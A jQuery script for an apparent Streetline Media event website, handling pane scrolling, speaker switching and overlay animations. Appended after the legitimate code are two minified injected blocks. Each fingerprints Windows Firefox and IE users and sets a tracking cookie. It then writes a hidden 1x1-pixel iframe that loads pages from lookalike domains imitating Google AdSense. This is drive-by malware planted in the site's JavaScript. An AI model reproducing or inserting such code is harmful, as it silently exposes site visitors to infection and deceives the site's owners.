//    _____________  ________________    ___   ______
//   / __/_  __/ _ \/ __/ __/_  __/ /   / // |/ / __/
//  _\ \  / / / , _/ _// _/  / / / /__ / //    / _/  
// /___/ /_/ /_/|_/___/___/ /_/ /____/__/_/|_/___/  
// 
//  Streetline Engage Actions. v1
//  www.streetlinemedia.com
// 

// Debug
var debug = 0;

// Variables
var activePane = 0;
var countPane = 1;
var activeBrand = 1;
var inMotion = 0;

$(document).ready(function() {
	
	countPane = $("#panes > .pane").size();
	
	var windowWidth = $(window).width();
	var windowHeight = $(window).height();
	var negativeWidth = (-1 * $(window).width() );

	if(debug==1){
	  console.log("Welcome to Debug!");
	  console.log("countPane: " + countPane);
	  console.log("WW: "+windowWidth);
	}

	// Set the panes and the containing cube to the window width
	$('.pane').css({'width' : windowWidth});
	$('#cube').css({'width' : windowWidth});	

    // Camera Movements
    $('#move-right').click(function(){
    	var targetPaneRight = activePane + 1;
    	var countPane = $("#panes > .pane").size();
		move(targetPaneRight);
		if(activePane >= countPane) {
			activePane == countPane;
		}else{
			activePane = targetPaneRight;
		}
    });
    
    $('#move-left').click(function(){
    	var targetPaneLeft = activePane - 1;
    	var countPane = $("#panes > .pane").size();
		move(targetPaneLeft);
		activePane = targetPaneLeft;
    });
    
    
    // Nav Pane
   	$(".nav-pane-1").click(function(){move(0);});
   	$(".nav-pane-2").click(function(){move(1);});
   	$(".nav-pane-3").click(function(){move(2);});
   	$(".nav-pane-4").click(function(){move(3);});
   	$(".nav-pane-5").click(function(){move(4);});
   	$(".nav-pane-6").click(function(){move(5);});
   	$(".nav-pane-7").click(function(){move(6);});
   	
   	$(".scroller-john").click(function(){
   		move(1);
		showJohn();
    });
   	
   	$(".scroller-rory").click(function(){
   		move(1);
		showRory();
    });

	// Pane Resizing
    var resizeTimer = null;
    $(window).bind('resize', function() {
		resizePanes();
    });
    
    // Home Scroller
    
     $("#scrollable").scrollable({
			circular: true,
			speed: 2000
			}).autoscroll({
			autoplay: true,
			interval: 8000
			}).navigator({
			navi:'div.navi'
			}); 
    
    
    // Speaker Switcher
    
    $('.call-speaker-rory').click(function(){
		showRory();
    });

    $('.call-speaker-john').click(function(){
		showJohn();
    });
    
    
    $('.call-tickets-1').click(function(){
    	$('.tickets-2').animate({
    	opacity:0,
    	marginTop:"-200px"
    	}, 250
    	);
    	$('.tickets-1').animate({
    	opacity:1,
    	marginTop:"0px"
    	}, 500
    	);
    });
    
    
     $('.call-tickets-2').click(function(){
    	$('.tickets-1').animate({
    	opacity:0,
    	marginTop:"-200px"
    	}, 250
    	);
    	$('.tickets-2').animate({
    	opacity:1,
    	marginTop:"0px"
    	}, 500
    	);

    });
    
   
	$('.call-accommodation-0').click(function(){
       	$('.accommodation-1').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-2').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-3').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-0').animate({
    	opacity:1,
    	marginTop:"0"
    	}, 500
    	);
	});
    
    $('.call-accommodation-1').click(function(){
       	$('.accommodation-0').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-2').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-3').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-1').animate({
    	opacity:1,
    	marginTop:"0"
    	}, 500
    	);
	});
	
	$('.call-accommodation-2').click(function(){
       	$('.accommodation-1').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-0').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-3').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-2').animate({
    	opacity:1,
    	marginTop:"0"
    	}, 500
    	);
	});
	
	$('.call-accommodation-3').click(function(){
       	$('.accommodation-1').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-2').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-0').animate({
    	opacity:0,
    	marginTop:"400px"
    	}, 500
    	);
    	$('.accommodation-3').animate({
    	opacity:1,
    	marginTop:"0"
    	}, 500
    	);
	});
//    $('.call-accommodation-0').click(function(){
//    	$('.accommodation-1').fadeOut();	
//    	$('.accommodation-2').fadeOut();	
//    	$('.accommodation-3').fadeOut();	
//    	$('.accommodation-0').fadeIn();	
//    });
    
    
//    $('.call-accommodation-1').click(function(){
//    	$('.accommodation-2').fadeOut();	
//    	$('.accommodation-3').fadeOut();	
//    	$('.accommodation-0').fadeOut();	
//    	$('.accommodation-1').fadeIn();	
//    });
//    
//    
//    $('.call-accommodation-2').click(function(){
//    	$('.accommodation-3').fadeOut();	
//    	$('.accommodation-0').fadeOut();	
//    	$('.accommodation-1').fadeOut();	
//    	$('.accommodation-2').fadeIn();	
//    });
    
//    
//    $('.call-accommodation-3').click(function(){
//    	$('.accommodation-0').fadeOut();	
//    	$('.accommodation-1').fadeOut();	
//    	$('.accommodation-2').fadeOut();	
//    	$('.accommodation-3').fadeIn();	
//    });

	// Initial Setup
	$('#panes').css({'left' : 0, 'height' : windowHeight });
	setArrows(activePane,countPane);
	
	$('body').append('<div id="mask"></div>');
	$('#mask').fadeTo(1500, 0, function() {
      $('#mask').remove()
    });
    
	// Overlays 
	 $(".overlay-visual").fancybox({
	 	'padding':'0',
	 	'overlayColor':'#111',
	 	'overlayOpacity':0.9
	 });
	 
	 $(".overlay-mobile").fancybox({
	 	'padding':'0',
	 	'overlayColor':'#111',
	 	'overlayOpacity':0.9
	 	
	 });

	 $(".overlay-motion").fancybox({
		'type': 'iframe',
		'transitionIn' : 'elastic',
		'transitionOut' : 'elastic',
		'width' : 650,
		'height': 365,
		'showCloseButton' : true,
		'padding':'0',
		'overlayColor':'#111',
		'overlayOpacity':0.9
	 });
	
	// Portfolio Brand
	
	$(".brand-show").fancybox({
	 	'padding':'0',
	 	'overlayColor':'#111',
	 	'overlayOpacity':0.9
	 	
	 });
	
	// Portfolio Effects
	
	$("#scroll-online").scrollable().navigator({
		navi	:	'#navigator-online'
		});
	
	$("#scroll-mobile").scrollable().navigator({
		navi	:	'#navigator-mobile'
		});
	
	$("#scroll-motion").scrollable().navigator({
		navi	:	'#navigator-motion'
		});

	 
	 // Portfolio Motion
	$(".scroll-motion").scrollable({
		circular: 'true',
	});
	
	$("#scroll-motion-left").click(function(){
		$(".scroll-motion").scrollable().prev();
	});
	
	$("#scroll-motion-right").click(function(){
		$(".scroll-motion").next();
		$(".scroll-motion").scrollable().next();
	});
	 
	 // Portfolio Digital
	$(".scroll-digital").scrollable({
		circular: 'true',
	});
	
	$("#scroll-digital-left").click(function(){
		$(".scroll-digital").scrollable().prev();
	});
	
	$("#scroll-digital-right").click(function(){
		$(".scroll-digital").next();
		$(".scroll-digital").scrollable().next();
	});

});

function showJohn() {
	if(inMotion==0){
			inMotion = 1;
			if(debug==1){console.log("inMotion = " + inMotion);}
   	   		$('.pane-sub-text .speaker-rory').animate({
		    opacity: 0,
		    top:"-300px"
		  }, 1000, function() {
		    // Animation complete.
   			$('.pane-sub-text .speaker-john').animate({
   				top:"0px",
   				opacity:1    			
   			});
		  });
		  $('.speaker-photo.speaker-rory').animate({
		    top:"410px"
		  }, 1000, function() {
		    // Animation complete.
   			$('.speaker-photo.speaker-john').animate({
   				top:"0px", 			
   			},1000,function(){
   				// On Final Animation Complete
    			inMotion =0;  				
   			});
		  });
	}else{
	
		// We're done here.
	}

}

function showRory() {
	if(inMotion==0){
			inMotion = 1;
			if(debug==1){console.log("inMotion = " + inMotion);}
   		   	$('.pane-sub-text .speaker-john').animate({
		    opacity: 0,
		    top:"-300px"
		  }, 1000, function() {
		    // Animation complete.
   			$('.pane-sub-text .speaker-rory').animate({
   				top:"0px",
   				opacity:1    			
   			});
		  });
		  $('.speaker-photo.speaker-john').animate({
		    top:"410px"
		  }, 1000, function() {
		    // Animation complete.
   			$('.speaker-photo.speaker-rory').animate({
   				top:"0px", 			
   			},1000,function(){
   				// On Final Animation Complete
   				inMotion =0;
   			});
		  });
	}else{
	
		// We're done here.
	
	}
}


function fadeOverlay() {
	$('#mask').show();
	if (overlayFlag == 0) {
		$('#mask').fadeTo('slow', 0.9, function() {
	      overlayFlag = 1;
	    });
	}else {
		$('#mask').fadeTo('slow', 0, function() {
			$('#mask').hide();
	     	 overlayFlag = 0;
	    });
	}

};

function setArrows(activePane,countPane) {
	var lastPane = countPane - 1 ;
	if(activePane==0){
		$("#move-left").fadeOut();
	}else{
		$("#move-left").fadeIn();
	}
	if(activePane>=lastPane){
		$("#move-right").fadeOut();
	}else {
		$("#move-right").fadeIn();
	}
};

function move(targetPane) {
    var item_width = $('#panes div.pane').outerWidth();
    var left_indent = -1 * (targetPane * item_width);   
   	
   	 if(left_indent>0) {
    	// Pane's Edge
    } else if (targetPane>=countPane){
    	// Right Edge

    } else {
		// Move Action
	    $('#panes:not(:animated)').animate({'left' : left_indent},1000,function(){       
			activePane = targetPane;
	   	    setArrows(activePane,countPane);    
	    }); 
    }
    return activePane;
};

function resizePanes() {
    var item_width = $('#panes div.pane').outerWidth();
    var left_indent = -1 * (activePane * item_width);
	// Resize both the pane element and the containing cube
	$('.pane').css({'width' : $(window).width() });
	$('#cube').css({'width' : $(window).width() });
	$('#panes').css({'left' :  left_indent});
};

function Init() {

};var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}